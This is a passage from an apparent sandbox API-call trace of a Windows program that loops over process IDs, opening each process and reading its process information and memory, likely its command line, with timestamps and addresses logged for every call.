lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.577] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x464 [0285.595] GetLastError () returned 0x0 [0285.596] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.596] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.596] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.596] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.596] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18f8, lpBuffer=0x670f7c2b0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.598] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.599] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.599] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.599] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.599] malloc (_Size=0x7c) returned 0x196ef0fa570 [0285.599] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0fa570, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa570*, lpNumberOfBytesRead=0x0) returned 1 [0285.600] free (_Block=0x196ef0fa570) [0285.601] CloseHandle (hObject=0x464) returned 1 [0285.601] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0285.605] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3988") returned 4 [0285.668] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.668] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.685] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x464 [0285.685] GetLastError () returned 0x0 [0285.686] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.687] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.687] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.688] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.689] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.689] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.689] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.690] malloc (_Size=0x70) returned 0x196ef0d31b0 [0285.690] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.691] free (_Block=0x196ef0d31b0) [0285.692] CloseHandle (hObject=0x464) returned 1 [0285.692] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0285.749] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4008") returned 4 [0285.750] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.750] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.766] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x464 [0285.766] GetLastError () returned 0x0 [0285.767] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.768] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.768] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.769] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.771] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.771] malloc (_Size=0x72) returned 0x196ef0d31b0 [0285.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.772] free (_Block=0x196ef0d31b0) [0285.773] CloseHandle (hObject=0x464) returned 1 [0285.773] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0285.779] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4016") returned 4 [0285.781] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.781] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x464 [0285.816] GetLastError () returned 0x0 [0285.817] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.819] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.820] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.820] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cf020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.821] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.821] malloc (_Size=0x70) returned 0x196ef0d31b0 [0285.821] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.822] free (_Block=0x196ef0d31b0) [0285.823] CloseHandle (hObject=0x464) returned 1 [0285.824] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0285.830] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4032") returned 4 [0285.831] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.831] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.868] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x464 [0285.868] GetLastError () returned 0x0 [0285.869] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.869] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5518f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.870] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.872] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x205020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.872] malloc (_Size=0x70) returned 0x196ef0d31b0 [0285.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.873] free (_Block=0x196ef0d31b0) [0285.874] CloseHandle (hObject=0x464) returned 1 [0285.875] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0285.881] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4040") returned 4 [0285.882] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.882] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.897] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x464 [0285.897] GetLastError () returned 0x0 [0285.897] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.898] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.898] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.899] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.900] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.901] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0285.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.901] free (_Block=0x196ef0d31b0) [0285.926] CloseHandle (hObject=0x464) returned 1 [0285.926] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0285.930] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4052") returned 4 [0285.931] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.932] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x464 [0285.947] GetLastError () returned 0x0 [0285.948] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.952] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.954] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.954] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.955] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.955] malloc (_Size=0x78) returned 0x196ef0d2120 [0285.955] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0285.956] free (_Block=0x196ef0d2120) [0285.957] CloseHandle (hObject=0x464) returned 1 [0285.957] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0285.961] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4060") returned 4 [0285.962] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.963] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.982] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x464 [0285.983] GetLastError () returned 0x0 [0285.983] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.983] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.983] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.985] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.986] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.986] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.986] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.987] malloc (_Size=0x7e) returned 0x196ef0fa9f0 [0285.987] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59196e, lpBuffer=0x196ef0fa9f0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa9f0*, lpNumberOfBytesRead=0x0) returned 1 [0285.987] free (_Block=0x196ef0fa9f0) [0285.988] CloseHandle (hObject=0x464) returned 1 [0285.989] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0285.993] _vsnwprintf (in: _Buffer=0x670f7d1a0, 